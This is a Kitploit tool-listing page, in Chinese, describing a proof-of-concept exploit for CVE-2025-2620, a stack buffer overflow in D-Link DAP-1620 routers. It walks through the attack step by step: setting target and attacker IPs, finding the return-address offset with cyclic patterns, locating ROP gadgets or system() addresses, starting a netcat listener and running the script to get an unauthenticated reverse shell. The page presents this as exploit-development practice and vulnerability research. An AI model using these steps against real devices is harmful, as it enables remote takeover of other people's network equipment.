Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-2620-poc — Proof-of-concept exploit for CVE-2025-2620,这是D-Link DAP-1620路由器中的一个严重基于栈的缓冲区溢出漏洞,允许未经身份验证的远程代码执行和反向shell访问。 | Kitploit
工具/GitHubGitHub/otsmane-ahmed/cve-2025-2620-poc
嵌入式系统安全物联网安全漏洞分析漏洞利用ShellcodeWeb应用程序漏洞利用渗透测试红队远程访问工具Payload 开发二进制利用
GitHub
16161年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
otsmane-ahmed/cve-2025-2620-poc

CVE-2025-2620-poc

Proof-of-concept exploit for CVE-2025-2620,这是D-Link DAP-1620路由器中的一个严重基于栈的缓冲区溢出漏洞,允许未经身份验证的远程代码执行和反向shell访问。

查看仓库

CVE-2025-2620 概念验证漏洞利用

概述

本仓库包含针对 CVE-2025-2620 的高级概念验证(PoC)漏洞利用,这是 D-Link DAP-1620 路由器(固件版本 1.03)中发现的一个严重 基于栈的缓冲区溢出 漏洞。该漏洞允许 未经身份验证的远程攻击者 使路由器的 Web 服务器崩溃(拒绝服务,DoS),并可能执行任意代码(远程代码执行,RCE)。

此项目的目的是 演示漏洞利用开发技能。

漏洞详情

CVE 描述

CVE-2025-2620 影响 D-Link DAP-1620 路由器的 mod_graph_auth_uri_handler 函数,具体位于 /storage 端点。该漏洞由 不当的边界检查 引起,允许攻击者发送超出分配缓冲区大小的大输入,导致 基于栈的缓冲区溢出。

影响

  • 拒绝服务(DoS):使路由器的 HTTP 服务器崩溃,直至重启前无响应。
  • 远程代码执行(RCE):攻击者可 覆盖返回地址 并在路由器的 基于 MIPS 的架构 上执行任意代码。
  • 无需身份验证:无需凭据即可远程触发漏洞,增加了严重性。

技术分析

易受攻击的函数处理来自 HTTP 请求的身份验证参数(auth):

root@kitploit:~
void mod_graph_auth_uri_handler(char *input) {
    char buffer[512];  // 固定大小的栈缓冲区
    strcpy(buffer, input);  // 无长度检查,导致溢出
    // 处理身份验证...
}

攻击者发送超长负载(例如 1024+ 字节)会 覆盖相邻内存,包括 函数的返回地址,从而可能导致 代码执行。

CVSS v3.1 评分:9.8(严重)

受影响设备

D-Link DAP-1620 是一款 Wi-Fi 范围扩展器,规格如下:

  • CPU:Realtek RTL8197F(MIPS 24Kc,~600 MHz)
  • RAM:64 MB
  • Flash:16 MB
  • Wi-Fi:双频 802.11ac
  • 固件:1.03(确认易受攻击)

其他具有类似固件的 D-Link 路由器/扩展器 也可能受影响。

披露时间线

  • 2025 年 3 月 22 日 – CVE-2025-2620 在 NVD/MITRE 上发布。
  • 2025 年 3 月 22 日 – 本 PoC 开发并测试。
  • 2025 年 3 月 22 日 – 截至该日期,D-Link 尚未发布官方补丁。

PoC 漏洞利用详情

功能

组合 PoC – 包括缓冲区溢出测试和 RCE 漏洞利用。
基于栈的缓冲区溢出测试 – 识别易受攻击的路由器。
完整远程代码执行(RCE)漏洞利用 – 生成反向 Shell。
可配置的负载大小和返回地址 – 可适应不同的路由器型号。
增强调试 – 记录崩溃偏移以优化漏洞利用参数。

安装与使用

步骤 1:克隆仓库

root@kitploit:~
git clone https://github.com/Otsmane-Ahmed/CVE-2025-2620-poc.git
cd CVE-2025-2620-poc

步骤 2:安装依赖

确保已安装 Python3 和 pwntools:

root@kitploit:~
pip install pwntools

步骤 3:配置漏洞利用

修改 CVE-2025-2620_poc.py 脚本:

设置路由器的 IP:

root@kitploit:~
TARGET_IP = "192.168.0.1"  # 更改为你的路由器 IP

设置攻击机 IP:

root@kitploit:~
ATTACKER_IP = "192.168.0.100"  # 更改为你的本地 IP
ATTACKER_PORT = 4444  # 根据需要更改

根据需要调整缓冲区大小:

root@kitploit:~
BUFFER_SIZE = 8000  # 如果路由器未崩溃,请增大

查找 EIP 偏移并设置返回地址:

步骤 1:发送循环模式

修改 PoC 以生成唯一模式并发送:

root@kitploit:~
MODE = "overflow"  # 设置为 "overflow" 以查找偏移

运行脚本:

root@kitploit:~
python3 CVE-2025-2620_poc.py
步骤 2:检查崩溃地址

路由器崩溃后,从以下位置检查段错误地址(x86 上的 EIP 或 MIPS 上的 RA):

  • 路由器日志
  • 调试器(gdb)
  • dmesg | grep 'segfault'

查找类似 0x61616161 的地址(表示循环模式的一部分覆盖了返回指针)。

步骤 3:查找偏移量

使用 cyclic_find 定位准确的偏移量:

root@kitploit:~
from pwn import cyclic_find
print(cyclic_find(0x61616161))  # 替换为崩溃地址

这将给出精确的 OFFSET 值。更新你的 PoC:

root@kitploit:~
OFFSET = <已找到的偏移量>  # 替换为实际数字
步骤 4:查找合适的返回地址(RET_ADDR)
  • 选项 1:查找 JMP 或 CALL 小工具

    root@kitploit:~
    ROPgadget --binary vulnerable_binary | grep "jmp"
    

    选择一个跳转到寄存器的地址(例如 jmp $sp 或 jmp $ra)。

  • 选项 2:使用 ret2libc 地址 在 libc 中查找 system() 的地址:

    root@kitploit:~
    objdump -D /lib/libc.so.6 | grep "system"
    

    然后,将其用作 RET_ADDR:

    root@kitploit:~
    RET_ADDR = struct.pack("<I", 0xdeadbeef)  # 替换为实际地址
    

步骤 4:启动监听器

root@kitploit:~
nc -lvnp 4444

步骤 5:运行漏洞利用

root@kitploit:~
python3 CVE-2025-2620_poc.py --mode rce

由 Otsmane Ahmed 用 ❤️ 开发

下载工具
指标值
攻击向量网络
攻击复杂度低
所需权限无
用户交互无
机密性影响高
完整性影响高
可用性影响高